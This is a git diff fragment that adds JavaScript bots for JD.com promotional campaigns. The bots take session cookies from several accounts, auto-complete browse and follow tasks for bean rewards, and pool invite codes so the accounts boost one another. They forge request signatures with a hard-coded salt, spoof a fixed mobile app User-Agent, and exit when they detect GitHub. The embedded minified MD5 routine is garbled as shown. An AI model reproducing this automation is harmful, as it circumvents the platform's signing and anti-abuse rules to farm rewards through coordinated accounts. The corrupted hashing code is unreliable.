+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data["retcode"] === 13) {
+ $.isLogin = false; //cookie过期
+ return;
+ }
+ if (data["retcode"] === 0) {
+ $.nickName = (data["base"] && data["base"].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName;
+ }
+ } else {
+ console.log(`京东服务器返回空数据`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ });
+ });
+}
+// function getDayPrizeStatus(prizeType, prizeId, status) {
+// let r = Date.now().toString();
+// let hi = "07035cabb557f096";
+// let o = hi + r;
+// let t = "getDayPrizeStatus";
+// let a = `starId=${$.activeId}&status=${status}&prizeType=${prizeType}&prizeId=${prizeId}`;
+// return new Promise(async (resolve) => {
+// const options = {
+// url: `${JD_API_HOST}/getDayPrizeStatus`,
+// body: `starId=${$.activeId}&status=${status}&prizeType=${prizeType}&prizeId=${prizeId}`,
+// headers: {
+// Accept: "application/json,text/plain, */*",
+// "Content-Type": "application/x-www-form-urlencoded",
+// "Accept-Encoding": "gzip, deflate, br",
+// "Accept-Language": "zh-cn",
+// Connection: "keep-alive",
+// Cookie: cookie,
+// Host: "urvsaggpt.m.jd.com",
+// Referer: "https://urvsaggpt.m.jd.com/static/index.html",
+// sign: za(a, o, t).toString(),
+// timestamp: r,
+// "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36",
+// },
+// };
+// $.post(options, (err, resp, data) => {
+// try {
+// if (err) {
+// console.log(`${JSON.stringify(err)}`);
+// console.log(`${$.name} API请求失败,请检查网路重试`);
+// } else {
+// console.log(`抽奖结果:${data}`);
+// // data = JSON.parse(data);
+// }
+// } catch (e) {
+// $.logErr(e, resp);
+// } finally {
+// resolve();
+// }
+// });
+// });
+// }
+function taskPostUrl(functionId, t, a) {
+ let o = '', r = '';
+ const time = Date.now();
+ // if (t === 'getBrowsePrize') {
+ // o = "07035cabb557f096" + (time + 6 * 1000);
+ // r = (time + 6 * 1000).toString()
+ // } else {
+ // o = "07035cabb557f096" + time;
+ // r = time.toString();
+ // }
+ o = "07035cabb557f096" + time;
+ r = time.toString();
+ // let t = "/khc/task/doQuestion";
+ // let a = "brandId=555555&questionId=2&result=1"
+ return {
+ url: `${JD_API_HOST}/${functionId}`,
+ body: a,
+ headers: {
+ Accept: "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ Connection: "keep-alive",
+ Cookie: cookie,
+ Host: "guardianstarjd.m.jd.com",
+ Referer: "https://guardianstarjd.m.jd.com/",
+ sign: za(a, o, t).toString(),
+ timestamp: r,
+ "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36",
+ }
+ }
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, "", "请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie");
+ return [];
+ }
+ }
+}
+function taskUrl(function_id) {
+ let r = Date.now().toString();
+ let hi = "07035cabb557f096";
+ let o = hi + r;
+ let t = function_id;
+ let a = `t=${r}&starId=${$.activeId}`;
+ return {
+ url: `${JD_API_HOST}/${function_id}?t=${r}&starId=${$.activeId}`,
+ headers: {
+ Accept: "application/json,text/plain, */*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ Connection: "keep-alive",
+ Cookie: cookie,
+ Host: "urvsaggpt.m.jd.com",
+ Referer: "https://guardianstarjd.m.jd.com/",
+ sign: za(a, o, t).toString(),
+ timestamp: r,
+ "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36",
+ },
+ };
+}
+
+// prettier-ignore
+function za(t, e, a) {
+ var n = "",
+ i = a.split("?")[1] || "";
+ if (t) {
+ if ("string" == typeof t) n = t + i;
+ else if ("object" == ka(t)) {
+ var s = [];
+ for (var r in t) s.push(r + "=" + t[r]);
+ n = s.length ? s.join("&") + i : i;
+ }
+ } else n = i;
+ if (n) {
+ var o = n.split("&").sort().join("");
+ return $.md5(o + e);
+ }
+ return $.md5(e);
+}
+
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_xtg_help.js b/Task/jd_xtg_help.js
new file mode 100644
index 0000000..7b6c1ab
--- /dev/null
+++ b/Task/jd_xtg_help.js
@@ -0,0 +1,513 @@
+/*
+家电星推官好友互助脚本
+家电星推官活动地址:https://3.cn/-1eD1VOa?_ts=1622072397979&utm_source=iosapp&utm_medium=appshare&utm_campaign=t_335139774&utm_term=CopyURL&ad_od=share&gx=RnFtxGZZPTONndRP--twDLBLeC4DoX3_2wf2
+活动时间:2021年5月27日 00:00:00-2021年6月18日 23:59:59
+京豆先到先得!!!!!!!!!!!
+出现任务做完没领取的情况,就再运行一次脚本
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+============Quantumultx===============
+[task_local]
+#家电星推官好友互助
+0 0 0 * * * jd_xtg_help.js, tag=家电星推官好友互助, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+================Loon==============
+[Script]
+cron "0 0 0 * * *" script-path=jd_xtg_help.js,tag=家电星推官好友互助
+
+===============Surge=================
+家电星推官好友互助 = type=cron,cronexp="0 0 0 * * *",wake-system=1,timeout=3600,script-path=jd_xtg_help.js
+
+============小火箭=========
+家电星推官好友互助 = type=cron,script-path=jd_xtg_help.js, cronexpr="0 0 0 * * *", timeout=3600, enable=true
+ */
+const $ = new Env("家电星推官好友互助");
+const activeEndTime = "2021/06/18 23:59:59+08:00"; //活动结束时间
+const notify = $.isNode() ? require("./sendNotify") : "";
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require("./jdCookie.js") : "";
+!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}();
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = "", allMsg = '';
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item]);
+ });
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {};
+} else {
+ cookiesArr = [
+ $.getdata("CookieJD"),
+ $.getdata("CookieJD2"),
+ ...jsonParse($.getdata("CookiesJD") || "[]").map((item) => item.cookie),
+ ].filter((item) => !!item);
+}
+let starID = [
+ {
+ "starId": "flp-songqian",
+ },
+ {
+ "starId": "ykd-liutao",
+ }
+];
+$.allShareId = {};
+const JD_API_HOST = "https://guardianstarjd.m.jd.com/star";
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg(
+ $.name,
+ "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取",
+ "https://bean.m.jd.com/bean/signIndex.action",
+ { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }
+ );
+ return;
+ }
+ cookie = cookiesArr[0];
+ await starRanking();
+
+ //助力功能
+ for (let index = 0; index < starID.length; index++) {
+ $.invites = [];
+ $.activeId = starID[index]['starId'];
+ $.appIndex = index + 1;
+ console.log(`\n获取星推官【${$.activeId}】下的邀请码\n`)
+ for (let v = 0; v < cookiesArr.length; v++) {
+ cookie = cookiesArr[v];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+ $.index = v + 1;
+ await initSuportInfo();
+ }
+ if ($.invites.length > 0) {
+ $.allShareId[starID[index]['starId']] = $.invites;
+ }
+ }
+ if (!cookiesArr || cookiesArr.length < 2) return
+ console.log(`开始自己账号内部互助\n\n`);
+ for (let v = 0; v < cookiesArr.length; v++) {
+ cookie = cookiesArr[v];
+ $.index = v + 1;
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+
+ for (let oneAppId in $.allShareId) {
+ let oneAcHelpList = $.allShareId[oneAppId];
+ for (let j = 0; j < oneAcHelpList.length; j++) {
+ $.item = oneAcHelpList[j];
+ if ($.UserName === $.item['userName']) continue;
+ if (!$.item['inviteId'] || $.item['max']) continue
+ console.log(`账号${$.index} ${$.UserName} 去助力账号 ${$.item['userName']}的第${$.item['index']}个星推官活动【${$.item['starId']}】,邀请码 【${$.item['inviteId']}】`)
+ $.canHelp = true;
+ $.activeId = $.item['starId'];
+ await doSupport($.item['inviteId']);
+ if (!$.canHelp) {
+ console.log(`助力机会已耗尽,跳出`);
+ break;//此处如果break,则遇到第一个活动就无助力机会时,不会继续助力第二个活动了
+ }
+ }
+ }
+ }
+})()
+ .catch((e) => {
+ $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, "");
+ })
+ .finally(() => {
+ $.done();
+ });
+async function showMsg() {
+ let nowTime = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000;
+ if (nowTime > new Date(activeEndTime).getTime()) {
+ $.msg($.name, 'xtg', `请删除或禁用此脚本\n咱江湖再见`);
+ if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`)
+ } else {
+ if ($.beanCount) {
+ $.msg($.name, ``, `京东账号${$.index} ${$.nickName || $.UserName}\n星推官活动获得:${$.beanCount}京豆`);
+ allMsg += `京东账号${$.index} ${$.nickName || $.UserName}\n星推官活动获得:${$.beanCount}京豆\n`;
+ }
+ }
+}
+async function JD_XTG(flag = false) {
+ var skuCount = 15, meetingCount = 15;
+ await getHomePage();
+ if ($.homeData && $.homeData.code === 200) {
+ let { dayTask, supportTask } = $.homeData.data;
+ if (flag) {
+ // console.log(`\n===========活动${$.j + 1}-[${starID[$.j]['starId']}] 助力码==========\n${shareId}\n`);
+ // $.shareID.push(shareId);
+ }
+ dayTask = dayTask.filter(vo => (vo['type'] === 'sku' || vo['type'] === 'meeting' || vo['type'] === 'followShop') && vo['finishCount'] !== vo['count']);
+ for (let item of dayTask) {
+ if (item['type'] === 'memberShop') {
+ console.log(`开通【${item['name']}】会员,跳过\n`);
+ continue
+ }
+ if (item['type'] === 'sku') {
+ meetingCount = item['count'];
+ console.log(`浏览【${item['name']}】(${item['finishCount']}/${item['count']}),需等待6秒`);
+ const res = await doTask(item['type'], item["id"]);
+ const t = Date.now();
+ if (res && res.code === 200) {
+ await $.wait(6 * 1000)
+ // const b = `browse_task_${$.activeId}_${item["id"]}_${$.time('yyyyMMdd')}_${item['type']}_${t + 7 * 1000}`;
+ await getBrowsePrize(res.data);
+ // await getBrowsePrize(b);
+ }
+ }
+ if (item['type'] === 'meeting') {
+ skuCount = item['count'];
+ console.log(`浏览会场【${item['name']}】(${item['finishCount']}/${item['count']}),需等待6秒`);
+ const res = await doTask(item['type'], item["id"]);
+ const t = Date.now();
+ if (res && res.code === 200) {
+ await $.wait(6 * 1000)
+ await getBrowsePrize(res.data);
+ }
+ }
+ if (item['type'] === 'followShop') {
+ console.log(`关注店铺【${item['name']}】(${item['finishCount']}/${item['count']})`);
+ await doTask(item['type'], item["id"], `followShop`);
+ }
+ }
+ dayTask = dayTask.filter(vo => (vo['type'] === 'sku' || vo['type'] === 'meeting' || vo['type'] === 'followShop') && vo['finishCount'] !== vo['count']);
+ if (dayTask && dayTask.length) {
+ $.times += 1;
+ console.log(`第 ${$.times + 1}次循环执行JD_XTG`)
+ // await JD_XTG();
+ if ($.times <= Math.max(skuCount, meetingCount)) {
+ // console.log(`第 ${$.times + 1}次循环执行JD_XTG`)
+ await JD_XTG();
+ } else {
+ console.log(`估计已死循环,不再执行JD_XTG\n`)
+ }
+ } else {
+ console.log(`${$.activeId}星推官任务已做完\n`)
+ }
+ } else {
+ console.log(`京东服务器返回无数据!`);
+ }
+}
+//获取邀请码
+function initSuportInfo() {
+ return new Promise(async (resolve) => {
+ const options = taskPostUrl('task/initSuportInfo', 'initSuportInfo',`starId=${$.activeId}`);
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ // console.log(`\n助力结果:${data}`);
+ data = JSON.parse(data);
+ if (data['code'] === 200) {
+ console.log(`账号${$.index} ${$.UserName} ${$.activeId}星推官邀请码:${data.data}`);
+ $.invites.push({
+ inviteId: data.data,
+ userName: $.UserName,
+ starId: $.activeId,
+ index: $.appIndex,
+ max: false
+ })
+ } else {
+ console.log(`邀请码获取失败:`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+function starRanking() {
+ return new Promise(async (resolve) => {
+ const options = taskPostUrl('task/starRanking', 'starRanking', 'starId=bl-gongjun')
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ // console.log(`\n助力结果:${data}`);
+ data = JSON.parse(data);
+ if (data['code'] === 200) {
+ starID = data.data
+ } else {
+ console.log(`frontConfig失败:`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+function getHomePage() {
+ return new Promise((resolve) => {
+ const options = taskPostUrl('task/getList', 'getList', `starId=${$.activeId}`);
+ $.post(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['code'] === 200) {
+ $.homeData = data;
+ } else {
+ console.log(`getList异常`)
+ }
+ } else {
+ console.log(`京东服务器返回空数据`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+function doTask(type, id, functionID = 'doBrowse') {
+ return new Promise(async (resolve) => {
+ const options = taskPostUrl(`task/${functionID}`, functionID, `starId=${$.activeId}&id=${id}&type=${type}`)
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ console.log(`doBrowse做任务结果:${data}`);
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ });
+ });
+}
+function getBrowsePrize(browseId) {
+ return new Promise(async (resolve) => {
+ const options = taskPostUrl('task/getBrowsePrize', 'getBrowsePrize', `starId=${$.activeId}&browseId=${browseId}`)
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ console.log(`getBrowsePrize做任务结果:${data}`);
+ data = JSON.parse(data);
+ if (data && data.code === 200) {
+ $.beanCount += data.data['jingBean'];
+ console.log(`获得京豆:${data.data['jingBean']}\n`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+function doSupport(shareId) {
+ return new Promise(async (resolve) => {
+ const options = taskPostUrl('task/doSupport', 'doSupport', `starId=${$.activeId}&shareId=${shareId}`)
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ data = JSON.parse(data);
+ if (data && data.code === 200) {
+ if (data['data']['status'] === 6) {
+ console.log('助力成功')
+ }
+ if (data['data']['status'] === 5) $.canHelp = false;
+ if (data['data']['status'] === 4) $.item['max'] = true;
+ }
+ console.log(`助力结果:${JSON.stringify(data)}\n`);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+function TotalBean() {
+ return new Promise(async (resolve) => {
+ const options = {
+ url: `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ headers: {
+ Accept: "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ Connection: "keep-alive",
+ Cookie: cookie,
+ Referer: "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36",
+ },
+ };
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data["retcode"] === 13) {
+ $.isLogin = false; //cookie过期
+ return;
+ }
+ if (data["retcode"] === 0) {
+ $.nickName = (data["base"] && data["base"].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName;
+ }
+ } else {
+ console.log(`京东服务器返回空数据`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ });
+ });
+}
+// function getDayPrizeStatus(prizeType, prizeId, status) {
